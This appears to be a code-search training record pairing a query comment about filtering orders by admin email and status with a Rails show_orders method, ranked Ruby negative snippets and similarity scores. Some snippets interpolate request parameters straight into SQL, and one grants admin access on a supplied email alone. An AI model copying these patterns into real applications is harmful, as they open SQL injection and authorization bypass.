@internal_hash = array.reduce(Hash.new(false)) do |hash, i|\n hash[i] = true\n hash\n end\n end", "def initialize( person_array )\n @person_array = person_array\n end", "def initialize(input_arr=[])\n \n @internal_arr = []\n\n # Pass each element in input_arr to 'add' method (if it isn't empty)\n input_arr.each { | ele | add(ele) } \n\n end", "def copy array\n array.map(&:clone)\nend", "def kesha_maker(array)\n array.collect { |x| x[2] = \"$\" }\n array\nend", "def create_an_array\n [\"a\", \"b\", \"c\", \"d\"]\nend", "def meat_toppings()\n\tmeat_toppings = [\"bacon\", \"pepperoni\", \"sausage\", \"anchovies\"]\nend", "def batch_badge_creator(array)\n new_array = array.map { |e| \"Hello, my name is #{e}.\" }\nend", "def add_to_array(array, item)\n array << item\nend", "def initialize(arr=nil)\n @play_field = arr || Array.new(7) { Array.new }\n end", "def make_sure_array(objects)\n return if objects.nil?\n\n objects = objects.values if objects.respond_to?(:values)\n objects = [objects] unless objects.respond_to?(:each)\n objects\n end", "def arrayed(object) # :doc:\n (object.is_a?(Array) ? object : [object])\n end", "def array(before: Pass.instance, each: Pass.instance, after: Pass.instance)\n ArrayV.new before: before, each: each, after: after\n end" ]
[ "0.65677756", "0.6180427", "0.6155015", "0.6120978", "0.6085581", "0.6083343", "0.6038983", "0.5994126", "0.5961035", "0.59407234", "0.5931063", "0.59236866", "0.59101677", "0.591007", "0.58873814", "0.5873955", "0.5860778", "0.5839361", "0.58370984", "0.58239573", "0.582251", "0.58065605", "0.5790571", "0.5776611", "0.5767496", "0.5764859", "0.5745012", "0.5743366", "0.57324123", "0.57294613", "0.572451", "0.5720206", "0.57197285", "0.5717684", "0.5708396", "0.56996214", "0.5690511", "0.56810147", "0.5659037", "0.565586", "0.56551856", "0.5635575", "0.56287026", "0.56226027", "0.56022817", "0.5601387", "0.55933154", "0.5590458", "0.55847794", "0.5575199", "0.5572608", "0.55550647", "0.5553281", "0.5544555", "0.55413926", "0.55377233", "0.55329925", "0.5526136", "0.550976", "0.55063176", "0.5501718", "0.54911333", "0.54884446", "0.5487343", "0.5484982", "0.5477071", "0.54736954", "0.547251", "0.5445278", "0.54415524", "0.54376686", "0.54308677", "0.54262376", "0.5425752", "0.5424873", "0.54223824", "0.5420583", "0.5419739", "0.54116064", "0.54092574", "0.5405621", "0.54055554", "0.5405103", "0.5405055", "0.5401444", "0.5397035", "0.5392117", "0.53898144", "0.5389184", "0.53864807", "0.5384479", "0.53820235", "0.5375306", "0.5370783", "0.5370085", "0.5368797", "0.5368764", "0.5362581", "0.5360605", "0.5354247", "0.53511894" ]
0.0
-1
params: email(admin?), status(sort by status)
def show_orders @user = User.find_by_sql ["select * from users where email = ? and users.status = 'admin'", params[:email]] if @user.count != 0 @orders = UsersOrder.find_by_sql ["select users_orders.id, users.email, books.title, books.genre from users_orders LEFT JOIN users ON users_orders.user_id = users.id LEFT JOIN books ON users_orders.book_id = books.id where users_orders.status = ? ORDER BY users_orders.created_at ASC", params[:status]] end render json: @orders end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def status_sort\n user_id_giver and user_id_receiver ? 1 : 2\n end", "def updateOrderStatusForMail(mail)\n #get order_id of order with customer_id with key and value\n puts \"mail: #{mail}\"\n # looking for id of user which belongs to mailaddress\n #1. get customer_id by key\n customer_id = getCustomerIdByMail(mail)\n if customer_id.is_a?(Integer)\n #2. search order by mail\n #puts \"updateOrderStatusForMail customer_id:#{customer_id}\"\n getAndCancelOrderIdByCustomerId(customer_id)\n #meaning of status of order:\n #0 offen\n #1 in Bearbeitung\n #2 komplett abgeschlossen\n #3 teilweise abgeschlossen\n #4 Storniert / Abgelehnt\n #5 Zur Lieferung bereit\n #6 teilweise ausgeliefert\n #7 komplett ausgeliefert\n #8 Klärung notwendig\n #-1 user defined: entferne den Artikel aus dem Backend - dieser existiert jedoch noch in der DB\n #to avoid an export of this data i have to set \"orderStatusId\" of the order to -1\n else\n puts \">>>>>> No User with #{mail} exists\"\n end\n end", "def index\n @condition = {}\n @condition[:orgnization] = current_user.orginization unless current_user.orgnization == User::ORGS[0]\n @condition[:status] = params[:status] if params[:status] and PasswordResetRequest::STATUS.include? params[:status]\n @password_reset_requests = PasswordResetRequest.where @condition\n end", "def email_status\n texts = []\n\n begin\n author = Mail::Address.new(params[:author].gsub(\"\\n\",''))\n recipients = Mail::AddressList.new(params[:recipients].gsub(\"\\n\",'')).addresses\n emails = [author, recipients].flatten.find_all { |addr| addr.domain && (addr.domain != 'mountainofpromos.com') }\n rescue Mail::Field::ParseError\n emails = []\n texts << \"Address Parse Error\"\n end\n\n subject = params[:subject]\n uri = nil\n\n emails.find do |addr|\n @supplier = Supplier.find(:first, :conditions => [\"lower(po_email) ~ ?\", addr.domain.downcase], :order => 'parent_id DESC')\n end\n if @supplier or emails.empty?\n texts << @supplier.name if @supplier\n if /(Q\\d{4})/i === subject and\n po = PurchaseOrder.find_by_quickbooks_ref($1)\n @order = po.purchase.order\n @supplier = po.purchase.supplier\n texts << \"Order #{@order.id}\"\n uri = { :controller => '/admin/orders', :action => :items, :id => @order }\n end\n end\n \n unless @supplier\n if /\\(#(\\d{4,5})\\)/ === subject and\n @order = Order.find_by_id($1)\n texts << \"ORDER DOESN'T MATCH CUSTOMER EMAIL\" unless emails.empty? or emails.find { |a| @order.customer.email_addresses.to_a.find { |b| b.address.downcase.include?(a.address.downcase) } }\n texts << (@order.user_id ? @order.user.name : \"UNASSIGNED\")\n texts << \"Order #{@order.id}\"\n uri = { :controller => '/admin/orders', :action => :items, :id => @order, :own => true } if @order.user_id.nil?\n else\n customers = emails.collect do |addr|\n Customer.find(:all, :include => :email_addresses, :conditions => [\"lower(email_addresses.address) ~ ?\", addr.address.downcase], :order => 'customers.id DESC')\n end.flatten\n\n unless customers.empty?\n texts << \"MULTIPLE CUSTOMERS\" if customers.length > 1\n orders = customers.collect do |customer|\n ret = customer.orders.find(:all, :conditions => { :closed => false }, :order => 'id')\n ret.empty? ? customer.orders : ret\n end.flatten\n orders.collect { |o| o.user }.uniq.each do |user|\n texts << (user ? user.name : \"UNASSIGNED\")\n end\n @order = orders.last\n else\n if !emails.empty? && recipients.find { |r| r.address == MAIN_EMAIL }\n texts << \"NEW CUSTOMER\"\n /M(\\d{4,5})/ === subject\n uri = { :controller => '/admin/orders', :action => :create_email, :email => author.address || '', :name => author.name, :subject => subject}\n else\n texts << \"UNKNOWN\"\n end\n end\n end\n end\n \n\n if @order\n texts << @order.customer.company_name unless @order.customer.company_name.blank?\n texts << @order.customer.person_name\n uri = { :controller => '/orders', :action => :status, :id => @order } unless uri\n end\n\n render :json => { :text => texts.join(' - '), :uri => uri && url_for(uri.merge({ :protocol => (Rails.env.production? ? 'https://' : 'http://') })) }\n end", "def index\n\n if can? :manage, Mailing\n @mailings = Mailing.find(:all, :conditions => {:status => params[:statusvisual] })\n else \n @mailings = Mailing.find(:all, :conditions => {:user_id => current_user, :status => params[:statusvisual] })\n end\n\n #Controle do StatusVisual\n if params[:statusvisual].to_i > 3\n params[:statusvisual] = 0\n end\n if params[:statusvisual].to_i < 0\n params[:statusvisual] = 0\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: MailingsDatatable.new(view_context,params[:statusvisual]) }\n end\n end", "def index\n if params[:status]\n if (params[:status] == 'all')\n @users = User.paginate(:page => params[:page]).order('id DESC')\n elsif (params[:status] == 'active')\n @users = User.where(:approved => true).paginate(:page => params[:page]).order('id DESC')\n elsif (params[:status] == 'inactive')\n @users = User.where(:approved => false).paginate(:page => params[:page]).order('id DESC')\n end\n else\n @users = User.paginate(:page => params[:page]).order('id DESC')\n end\n if params[:sbu]\n if (params[:sbu] == 'all')\n @users = User.paginate(:page => params[:page]).order('id DESC')\n # render json: @users\n else\n @users = User.where(:Sbu => params[:sbu] ).paginate(:page => params[:page]).order('id DESC')\n end\n end\n if params[:email]\n @users= User.where(:email => params[:email]).paginate(:page => params[:page]).order('id DESC')\n end\n end", "def index\n if current_user[:user_type] == :normal\n @orders = Order.where('email = ?', current_user[:login]).order(:created_at).reverse_order\n else\n @orders = Order.order(:created_at).reverse_order\n end\n @criteria = OrderCriteria.new\n end", "def change_user_status(email, type)\n endpoint = '/api/v1/user/change-status/'\n base_params = base_params(endpoint)\n custom_params = {\n 'email' => email,\n 'type' => type\n }\n uri = post_api_uri(endpoint)\n http = setup_request(uri)\n result = http.post(uri.path, base_params.merge(custom_params).to_query)\n JSON.parse(result.body)\n end", "def list_by_email(email)\n params = Hash.new\n params[:email] = email\n self.list(params)\n end", "def index\n if params[:sort_expired]\n @tasks = Task.all.order(expired_at: :desc).page(params[:page]).per(5)\n elsif\n @tasks = Task.all.order(created_at: :desc).page(params[:page]).per(5)\n elsif params[:sort_priority]\n @tasks = Task.all.order(priority: :asc).page(params[:page]).per(5)\n end\n if params[:title].present? && params[:status].present?\n @tasks = Task.search_title(params[:title]).search_status(params[:status])\n elsif params[:title].present?\n @tasks = Task.search_title(params[:title]).page(params[:page]).per(5)\n elsif params[:status].present?\n @tasks = Task.search_status(params[:status]).page(params[:page]).per(5)\n elsif params[:priority].present?\n @tasks = Task.priority_sort(params[:priority]).page(params[:page]).per(5)\n elsif params[:expired].present?\n @tasks = Task.expired_sort(params[:expired]).page(params[:page]).per(5)\n else\n @tasks = Task.all.page(params[:page]).per(5)\n end\n\n\n end", "def approval_of_admin\n status = params[:status]\n @order = Order.find(params[:id])\n @order.update_attributes!(:status => status)\n @order_email = Order.find(params[:id])\n if status == \"5\"\n @reviewer = @order.reviews.last.user\n OrderMailer.admin_review_approved(@order_email, @reviewer).deliver_now\n elsif status == \"6\"\n @reviewer = @order.reviews.last.user\n OrderMailer.admin_review_rejected(@order_email,@reviewer).deliver_now\n user = User.find(@order.user_id)\n user_orders_count = user.orders.count\n if user_orders_count == 1\n @order.update_attributes!(:status => 7)\n end\n end\n redirect_to admin_reviewed_by_reviewer_path , :notice => \"Order successfully updated.\"\n end", "def manager_list_by_status\n \n @sort_order = get_sort_order\n @sort_order[:status] = params[:order] == 'ASC' ? 'DESC' : 'ASC'\n flash[:sort_order] = @sort_order\n \n design_reviews = get_active_reviews\n @active_reviews = design_reviews[:active].sort_by { |dr| [dr[:review].review_status.name, dr[:review].age] }\n @inactive_reviews = design_reviews[:inactive].sort_by { |dr| [dr[:review].review_status.name, dr[:review].age] }\n @active_reviews.reverse! if params[:order] == 'DESC'\n @inactive_reviews.reverse! if params[:order] == 'DESC'\n \n @submissions = BoardDesignEntry.submission_count\n session[:return_to] = {:controller => 'tracker',\n :action => 'manager_list_by_date',\n :order => params[:order]}\n render( :action => 'manager_home' )\n\n end", "def index\n if params[:sort_expired]\n @tasks = current_user.tasks\n @tasks = @tasks.order(deadline: :desc)\n else\n @tasks = current_user.tasks\n @tasks = @tasks.order(created_at: :desc)\n end \n\n if params[:sort_priority_high]\n @tasks = current_user.tasks \n @tasks = @tasks.order(priority: :asc)\n end\n \n if params[:task].present?\n if params[:task][:name].present? && params[:task][:status].present?\n #両方name and statusが成り立つ検索結果を返す\n @tasks = @tasks.where('name LIKE ?', \"%#{params[:task][:name]}%\")\n @tasks =@tasks.where(status: params[:task][:status])\n \n #渡されたパラメータがtask nameのみだったとき\n elsif params[:task][:name].present?\n @tasks = @tasks.where('name LIKE ?', \"%#{params[:task][:name]}%\")\n\n #渡されたパラメータがステータスのみだったとき\n elsif params[:task][:status].present?\n # @tasks = Task.all\n @tasks =@tasks.where(status: params[:task][:status])\n #渡されたパラメータがラベルのみだったとき\n\n elsif params[:task][:label_id].present?\n @labeling = Labeling.where(label_id: params[:task][:label_id]).pluck(:task_id)\n @tasks = @tasks.where(id: @labeling) \n end\n end\n\n @tasks = @tasks.page(params[:page]).per(5)\n\n end", "def index\n @orders =if current_user.role == \"provider\"\n Order.where(\"provider_id= ?\", current_user.id)\n elsif \n params[:status]\n Order.where(status: params[:status])\n # Order.where(\"provider_id= ? AND status= ?\", current_user.id, \"pending\")\n else\n current_user.orders\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @orders.to_json }\n end\n end", "def filter_by_email\n Entry.joins(:user)\n .where('users.email = :email', email: email)\n .paginate(page: page_number)\n .order(checkin_at: :desc)\n end", "def index\n #@statuses = Status.all\n #@statuses = Status.where(:private => false).or(:user_id => current_user).paginate(page: params[:page], per_page: 50).order('created_at DESC')\n #@statuses = Status.where('private=? OR user_id=?', false, current_user).paginate(page: params[:page], per_page: 50).order('created_at DESC')\n @statuses = Status.paginate(page: params[:page], per_page: 50).order('created_at DESC')\n end", "def index\n @user_types_map = User.user_types.map{|k, v| [k, v.humanize.pluralize]}.to_h\n @filter = params[:filter] || 'Current'\n if @filter == 'All'\n @users = User.order(:email)\n elsif @user_types_map.values.include? @filter\n @users = User.where(locked_out: false, user_type: @user_types_map.key(@filter)).order(:email)\n else\n @users = User.where(locked_out: false).order(:email)\n end\n end", "def index\n if current_admin.role == 0\n @requests = Request.where(\"approved = 'f'\")\n elsif current_admin.role == 1\n @requests = Request.where(\"approved = 't' AND money = 'f'\")\n else\n @requests = Request.where(\"approved = 't' AND money = 't'\")\n end\n end", "def index\n @mail_item = MailItem.new #use for search form\n\n @mail_items = if params[:mail_item] && (query = params[:mail_item][:email])\n MailItem.where(:user_id => current_user.id)\n .where('email like ? OR source_name like ? OR name like ?', \"%#{query}%\", \"%#{query}%\", \"%#{query}%\")\n .paginate(:page => params[:page] || 1, :per_page => 50).order(\"updated_at DESC\")\n else\n MailItem.where(:user_id => current_user.id)\n .paginate(:page => params[:page] || 1, :per_page => 50).order(\"updated_at DESC\")\n end\n end", "def list\n logger.debug \"Processing the list...\"\n @users = User.all.order('updated_at desc') #where(:status=>1)\n end", "def admin\n @admin_users = User.where(isAdmin:true).where(isApproved:true).paginate(:page => params[:admin_users_page], :per_page => 10)\n end", "def index\n @condition = {}\n @condition[:orgnization] = current_user.orginization unless current_user.orgnization == User::ORGS[0]\n @condition[:status] = params[:status] if params[:status] and AuthorityChangeRequest::STATUS.include? params[:status]\n @acrs = AuthorityChangeRequest.where @condition\n end", "def index\n @per_page = params[:per_page] || User.per_page || 10\n\n if params[:e_status] == \"active\"\n @per_page = params[:per_page] || Contact.per_page || 10\n @contacts = Contact.all.paginate( :per_page => @per_page, :page => params[:page])\n if !params[:contacts_ids].nil?\n params[:contacts_ids].each do |active_contacts| \n contact = Contact.find(active_contacts)\n contact.update_column(:e_status, 0) \n end\n end\n\n elsif params[:e_status] == \"inactive\"\n @per_page = params[:per_page] || Contact.per_page || 10\n @contacts = Contact.all.paginate( :per_page => @per_page, :page => params[:page])\n if !params[:contacts_ids].nil?\n params[:contacts_ids].each do |inactive_contacts| \n contact = Contact.find(inactive_contacts)\n contact.update_column(:e_status, 1) \n end\n end\n\n elsif params[:e_status] == \"delete\"\n @per_page = params[:per_page] || Contact.per_page || 10\n @contacts = Contact.all.paginate( :per_page => @per_page, :page => params[:page])\n if !params[:contacts_ids].nil?\n params[:contacts_ids].each do |delete_contacts| \n contact = Contact.find(delete_contacts)\n if contact.destroy \n redirect_to contacts_path\n end\n end\n end\n \n elsif params[:v_contact_type].blank? && params[:last_name].blank? && params[:email].blank? && params[:v_country].blank? && params[:v_tags].blank? && params[:i_reffered_source_id].blank? && params[:first_name]\n @contacts = Contact.where(\"first_name like ?\", \"%#{params[:first_name]}%\").paginate( :per_page => @per_page, :page => params[:page])\n elsif\n params[:v_contact_type].blank? && params[:last_name] && params[:email].blank? && params[:v_country].blank? && params[:v_tags].blank? && params[:i_reffered_source_id].blank? && params[:first_name]\n\n @contacts = Contact.where(\"first_name like ? and last_name like ? \", \"%#{params[:first_name]}%\", \"%#{params[:last_name]}%\").paginate( :per_page => @per_page, :page => params[:page])\n\n elsif\n params[:v_contact_type].blank? && params[:last_name] && params[:email] && params[:v_country].blank? && params[:v_tags].blank? && params[:i_reffered_source_id].blank? && params[:first_name]\n\n @contacts = Contact.where(\"first_name like ? and last_name like ? and email like ? \", \"%#{params[:first_name]}%\", \"%#{params[:last_name]}%\", \"%#{params[:email]}%\").paginate( :per_page => @per_page, :page => params[:page])\n\n elsif\n params[:v_contact_type].blank? && params[:last_name] && params[:email] && params[:v_country] && params[:v_tags].blank? && params[:i_reffered_source_id].blank? && params[:first_name]\n\n @contacts = Contact.where(\"first_name like ? and last_name like ? and email like ? and v_country like ? \", \"%#{params[:first_name]}%\", \"%#{params[:last_name]}%\", \"%#{params[:email]}%\", \"%#{params[:v_country]}%\").paginate( :per_page => @per_page, :page => params[:page])\n\n elsif\n params[:v_contact_type].blank? && params[:last_name] && params[:email] && params[:v_country] && params[:v_tags] && params[:i_reffered_source_id].blank? && params[:first_name]\n\n @contacts = Contact.where(\"first_name like ? and last_name like ? and email like ? and v_country like ? and v_tags like ?\", \"%#{params[:first_name]}%\", \"%#{params[:last_name]}%\", \"%#{params[:email]}%\", \"%#{params[:v_country]}%\", \"%#{params[:v_tags]}%\").paginate( :per_page => @per_page, :page => params[:page])\n\n elsif\n params[:v_contact_type] == \"0\" ? \"0\" : \"1\" && params[:last_name] && params[:email] && params[:v_country] && params[:v_tags] && params[:i_reffered_source_id].blank? && params[:first_name]\n\n @contacts = Contact.where(\"first_name like ? and last_name like ? and email like ? and v_country like ? and v_tags like ? and v_contact_type like ?\", \"%#{params[:first_name]}%\", \"%#{params[:last_name]}%\", \"%#{params[:email]}%\", \"%#{params[:v_country]}%\", \"%#{params[:v_tags]}%\", \"%#{params[:v_contact_type]}%\").paginate( :per_page => @per_page, :page => params[:page])\n\n elsif\n params[:v_contact_type] && params[:last_name] && params[:email] && params[:v_country] && params[:v_tags] && params[:i_reffered_source_id] && params[:first_name]\n\n @contacts = Contact.where(\"first_name like ? and last_name like ? and email like ? and v_country like ? and v_tags like ? and v_contact_type like ? and i_reffered_source_id like ?\", \"%#{params[:first_name]}%\", \"%#{params[:last_name]}%\", \"%#{params[:email]}%\", \"%#{params[:v_country]}%\", \"%#{params[:v_tags]}%\", \"%#{params[:v_contact_type]}%\", \"%#{params[:i_reffered_source_id]}%\").paginate( :per_page => @per_page, :page => params[:page])\n else \n @contacts = Contact.all.paginate( :per_page => @per_page, :page => params[:page]).order(sort_column + ' ' + sort_direction)\n end\n end", "def index\n @status = params[:status]\n @orders = Order.last_opened.page params[:page]\n @orders = @orders.where status: @status if @status\n end", "def index\n @currentAdmin = Admin.find(session[:user_id])\n @admins = Admin.all\n @patients = self.search\n @drivers = Driver.all\n @appointments = Appointment.all\n \n @admins = @admins.sort_by {|admin| admin.approved ? 1 : 0}\n @patients = @patients.sort_by {|patient| patient.approved ? 1 : 0}\n @drivers = @drivers.sort_by {|driver| driver.trained ? 1 : 0}\n \n end", "def create\n commit = params[\"commit\"]\n email = params[\"email\"]\n\n # may need to figure out better way to handle exception\n begin\n ApprovalEngine.change_user_status(email, commit.downcase)\n rescue Exception => e\n @error_notice = e.message\n logger.error e.message\n logger.error e.backtrace.join(\"\\n\") \n end\n\n @account_managements = get_all()\n @account_managements = sort(@account_managements)\n\n # may need to figure out how to send error message if the status change failed\n @notice = \"Account was successfully updated.\"\n\n respond_to do |format|\n format.html { render \"index\"}\n #format.json { head :ok }\n end\n end", "def index\n #Получаем все заказы для пользователя, который закреплен за одной или нескольких аптек\n\n # current_user = User.find_by_authentication_token(params[:authenticity_token])\n if params[:fltr] == \"3\" then\n @inv = Invoice.all.where(\"status = '3' and pharmacy_id in (:ph_id)\",ph_id: Pharmacy.where('user_id=:p',p:current_user.id).map{ |ph| ph.id })\n #@inv = Invoice.all.where(\"status = '3'\")\n @status = \"Отгруженные\"\n elsif params[:fltr] == \"4\"\n @inv = Invoice.all.where(\"status = '4' and pharmacy_id in (:ph_id)\",ph_id: Pharmacy.where('user_id=:p',p:current_user.id).map{ |ph| ph.id })\n #@inv = Invoice.all.where(\"status = '2'\").order(\"status DeSC\")\n @status = \"Отказ\"\n elsif params[:fltr] == \"2\"\n @inv = Invoice.all.where(\"status = '2' and pharmacy_id in (:ph_id)\",ph_id: Pharmacy.where('user_id=:p',p:current_user.id).map{ |ph| ph.id })\n #@inv = Invoice.all.where(\"status = '2'\").order(\"status DeSC\")\n @status = \"В работе\"\n else\n @inv = Invoice.all.where(\"status not in ('2','3','4') and pharmacy_id in (:ph_id)\",ph_id: Pharmacy.where('user_id=:p',p:current_user.id).map{ |ph| ph.id })\n #@inv = Invoice.all.where(\"status not in ('2','3')\").order(\"status DeSC\")\n @status = \"Новые\"\n end\n\n #render json: @user\nend", "def index\n if params[:status] == \"archived\"\n @mobile_apps = MobileApp.joins(:users).where(\"users.email = ?\", current_user.email).where(\"mobile_apps.status\" => 2).order(\"mobile_apps.validated_at ASC\").page(current_page).per(10)\n elsif params[:status] == \"published\"\n if params[:review] == \"needs\"\n @mobile_apps = MobileApp.joins(:users).where(\"users.email = ?\", current_user.email).where(\"mobile_apps.status\" => 1).where(\"mobile_apps.validated_at <= ?\",180.days.ago).order(\"mobile_apps.validated_at ASC\").page(current_page).per(10)\n else\n @mobile_apps = MobileApp.joins(:users).where(\"users.email = ?\", current_user.email).where(\"mobile_apps.status\" => 1).order(\"mobile_apps.validated_at ASC\").page(current_page).per(10)\n end\n else\n @mobile_apps = MobileApp.joins(:users).where(\"users.email = ?\", current_user.email).order(\"mobile_apps.validated_at ASC\").page(current_page).per(10)\n \n end\n \n end", "def tender_by_company_and_status(status,company_id)\n\t\tTender.where(\"company_id= ? AND status= ?\", company_id, params[:status] ).order(\"bid_amount\")\n\tend", "def index\n if params[:is_approved].to_i == 0\n @users = User.find_all_by_is_approved(0) #returns unapproved users \n elsif params[:is_approved].to_i == 1\n @unsorted_users = User.where(:is_approved => 1, :is_admin => 0)\n @users = @unsorted_users.sort_by { |obj| obj.postal } \n else\n redirect_to \"/\" #For bogus calls => return to root\n end\n \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end \n end", "def change_user_status(email, type)\n endpoint = \"/api/#{@version}/user/change-status/\"\n custom_params = {\n 'email' => email,\n 'type' => type\n }\n make_post_request(endpoint, custom_params)\n end", "def index\n sort_group = [\"id\",\"realname\",\"vote_count\"];\n @sorted = {};\n sort_group.each do |x|\n @sorted[x.to_sym]=0\n end\n if !params[:sort_by].nil?\n sort(params[:sort_by],params[:sort_type])\n else\n @manage_users = Manage::User.all\n end\n\n end", "def index\n @customer_details = CustomerDetail.order(:email)\n end", "def status_params\n end", "def maillist\n @report_id = params[:id]\n @project_format = params[:project_format]\n if params[:waiting_for] == 'sent'\n @q = current_user.organization.statusreports.search(params[:q])\n @statusreports = @q.result(:distinct => true).find(:all,:conditions => ['sent_by IS ?',nil])\n else\n @q = current_user.organization.statusreports.search(params[:q])\n @statusreports = @q.result(:distinct => true).find(:all,:order => 'updated_at DESC')\n end\n render :partial => \"maillist\", :layout => false\n end", "def index\n #@roomlists = Roomlist.where([\"status != ?\" , 'Waiting' ]).order(created_at: :desc)\n @roomlists = Roomlist.all.order(:status, created_at: :desc)\n @studenthousinginfos = Studenthousinginfo.all\n end", "def index\n @up = false\n\n if @sort\n @sort_field = if @sort == \"members\" then \"members_count\" else \"fruits_count\" end\n else\n @sort_field = \"members_count\"\n end\n\n if params[:dir].present?\n @dir = params[:dir]\n @up = if params[:dir] == 'up' then true else false end\n end\n\n @sort_direction = if @up then \"ASC\" else \"DESC\" end\n @search = if params[:search].present? then params[:search] else nil end\n @status = if params[:status].present? then params[:status] else nil end\n @sort = if params[:sort].present? then params[:sort] else nil end\n\n @epicenters = if @search then Epicenter.search_for(@search) else Epicenter.all end \n @epicenters = @epicenters.where.not(:id => @mother.id).order(\"#{@sort_field} #{@sort_direction}\")\n\n if @status\n @epicenters = @epicenters.select{ |e| e.status == @status }\n end\n\n end", "def index\n if params[:sort_expired]\n @tasks = current_user.tasks.order(limit_on: :desc).page(params[:page]).per(5)\n elsif params[:sort_priority]\n @tasks = current_user.tasks.order(priority: :asc).page(params[:page]).per(5)\n elsif\n @tasks = current_user.tasks.order(created_at: :desc).page(params[:page]).per(5)\n end\n \n if params[:search_title].present? && params[:search_status].present?\n @tasks = current_user.tasks.search_title(params[:search_title]).search_status(params[:search_status]).page(params[:page]).per(5)\n elsif params[:search_title].present?\n @tasks = current_user.tasks.search_title(params[:search_title]).page(params[:page]).per(5)\n elsif params[:search_status].present?\n @tasks = current_user.tasks.search_status(params[:search_status]).page(params[:page]).per(5)\n elsif params[:label_id].present?\n @tasks = Task.joins(:labels).where(labels:{id: params[:label_id]}).page(params[:page])\n end\n end", "def index\n @admins = Admin.select(:id, :email).order(:email)\n end", "def index\n @filter = params[:status] ||= :pending\n\n @todos =\n scoped\n .order(created_at: :desc)\n .where(status: params[:status])\n .normal\n end", "def index\n # params[:sort]\n status_condition = 'status <> ' + Status::INACTIVE.to_s\n @orders = Order.where(status_condition).page(params[:page]).order(:order_number)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def status_params\n params.require(:status).permit(:title, :status_group_id, :sorter)\n end", "def index\n all_mail_users =\n case @type\n when 'applicable'\n @recipient_list.applicable_mail_users\n when 'included'\n @recipient_list.included_mail_users\n when 'excluded'\n @recipient_list.excluded_mail_users\n end&.order(:name)\n\n @mail_users =\n if params[:page] == 'all'\n all_mail_users&.page(nil)&.per(all_mail_users&.count)\n else\n all_mail_users&.page(params[:page])\n end\n\n flash.alert = '指定のリストはありません。' if @mail_users.nil?\n end", "def expert_job_details\n expert = Expert.find_by_id(params[:expert_id])\n if params[:type] == \"active\"\n @jobs = expert.jobs.where.not(status: \"completed\").where(:job_type => nil).order(\"created_at DESC\")\n else\n @jobs = expert.jobs.where(:status => \"completed\", :job_type => nil).order(\"updated_at DESC\")\n end\n end", "def send_status_update(email, deliver_emails_now = true, status = nil)\n if email.send_to == \"applicant\"\n cc_to_feedback_person = email.cc_to_feedback_person?\n email_object = ApplyMailer.create_status_update(self, email.email_template, self.person.email, Time.now, \n apply_url(:host => CONSTANTS[:base_url_host], \n :offering => offering),\n apply_url(:host => CONSTANTS[:base_url_host], \n :offering => offering) + \"/availability\",\n cc_to_feedback_person)\n if deliver_emails_now\n EmailContact.log self.person.id, ApplyMailer.deliver(email_object), status\n else\n EmailQueue.queue self.person.id, email_object, status\n end\n elsif email.send_to == \"staff\"\n if deliver_emails_now\n ApplyMailer.deliver_status_update(self, email.email_template, self.offering.notify_email || self.offering.contact_email) # don't log messages to staff\n end\n elsif email.send_to == \"group_members\"\n self.group_members.verified.each do |group_member|\n group_member.reload\n self.send_group_member_status_update(group_member, email, deliver_emails_now, status)\n end\n elsif email.send_to == \"mentors\"\n self.mentors.each do |mentor|\n mentor.reload\n unless (mentor.letter_received? && status.name == \"submitted\") || mentor.invite_email_sent? # don't send the \"please submit a letter\" email if submitted\n if mentor.no_email\n ApplyMailer.deliver_mentor_no_email_warning(mentor, self.offering.notify_email)\n else\n self.send_mentor_status_update(mentor,email, deliver_emails_now, status)\n end\n end\n end\n end\n end", "def internal\n if params[:col].blank? && params[:dir].blank?\n params.merge!(:col => 'created_at', :dir => 'up')\n end\n sort_column_order\n\t\tset_page_number(192,193,71,params[:status])\n\t\tsession[:referer] = nil\n\t\tdata=params\n\t\tapproved_or_billed_time_and_expense_entry(data)\n\t\tsession[:current_time_entry] = nil\n\t\tget_matters_and_contacts\n\t\tunless data[:start_date].nil?\n\t\t\tif (!data[:start_date].blank? && !data[:end_date].blank?)\n\t\t\t\tstart_date = data[:start_date].to_date if data[:start_date]\n\t\t\t\tend_date = data[:end_date].to_date if data[:end_date]\n\t\t\t\tif start_date <= end_date\n\t\t\t\t\tget_receiver_and_provider\n\t\t\t\t\tif data[:col]&& data[:dir]\n\t\t\t\t\t\torder = data[:dir].eql?(\"up\") ? \"#{data[:col]+ ' '+ 'asc'}\" : \"#{data[:col]+ ' '+ 'desc'}\"\n\t\t\t\t\t\t@icon = data[:dir].eql?(\"up\") ? 'sort_asc':'sort_desc'\n\t\t\t\t\telse\n\t\t\t\t\t\torder = \"created_at asc\"\n\t\t\t\t\tend\n\t\t\t\t\tconditions = \"is_internal and company_id = #{@receiver.company_id} and time_entry_date between '#{data[:start_date]}' and '#{data[:end_date]}'\"\n\t\t\t\t @saved_time_entries_new = Physical::Timeandexpenses::TimeEntry.find(:all,:conditions => conditions, :order=>order)\n unless params[:status].blank?\n\t\t\t\t\t\tconditions += \" and status = '#{params[:status]}'\"\n\t\t\t\t\tend\n\t\t\t\t\t@saved_time_entries = Physical::Timeandexpenses::TimeEntry.find(:all,:conditions => conditions, :order=>order)\n\n conditions = \"is_internal and company_id = #{@receiver.company_id} and expense_entry_date between '#{data[:start_date]}' and '#{data[:end_date]}'\"\n\t\t\t\t\t@saved_expense_entries_new = Physical::Timeandexpenses::ExpenseEntry.find(:all,:conditions => conditions, :order =>order)\n\n unless params[:status].blank?\n\t\t\t\t\t\tif params[:status]=='Billed'\n\t\t\t\t\t\t\tconditions += \" and status = '#{params[:status]}' and tne_invoice_id is not null\"\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tconditions += \" and status = '#{params[:status]}'\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t@saved_expense_entries = Physical::Timeandexpenses::ExpenseEntry.find(:all,:conditions => conditions, :order =>order)\n\n get_total_hours_for_all_status\n get_expense_details_for_status\n get_total_billable_time_amount_status\n @grand_total_open = @total_amount_open + @total_expenses_open\n @grand_total_approved = @total_amount_approved + @total_expenses_approved\n @grand_total_billed = @total_amount_billed + @total_expenses_billed\n @total_hours = @total_hours_open + @total_hours_approved + @total_hours_billed\n @total_amount = @total_amount_open + @total_amount_approved + @total_amount_billed\n @grand_total_expense = @total_expenses_open + @total_expenses_approved + 